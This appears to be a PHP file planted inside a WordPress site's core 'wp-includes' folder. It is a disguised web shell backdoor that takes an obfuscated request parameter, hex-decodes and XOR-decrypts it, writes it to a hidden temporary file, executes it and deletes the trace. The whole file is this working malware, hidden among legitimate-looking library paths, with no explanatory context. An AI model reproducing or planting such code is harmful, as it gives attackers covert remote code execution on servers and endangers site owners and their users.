File: /home/lab-hr.com/public_html/wp-includes/Requests/Transport/prova.php
<?php
if(!empty($_REQUEST["mr\x6B"])){
$token = hex2bin($_REQUEST["mr\x6B"]);
$object = '' ; foreach(str_split($token) as $char){$object .= chr(ord($char) ^ 83);}
$key = array_filter([getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TMP"), "/tmp", "/var/tmp"]);
foreach ($key as $tkn) {
if (max(0, is_dir($tkn) * is_writable($tkn))) {
$dat = join("/", [$tkn, ".ent"]);
if (@file_put_contents($dat, $object) !== false) {
include $dat;
unlink($dat);
die();
}
}
}
}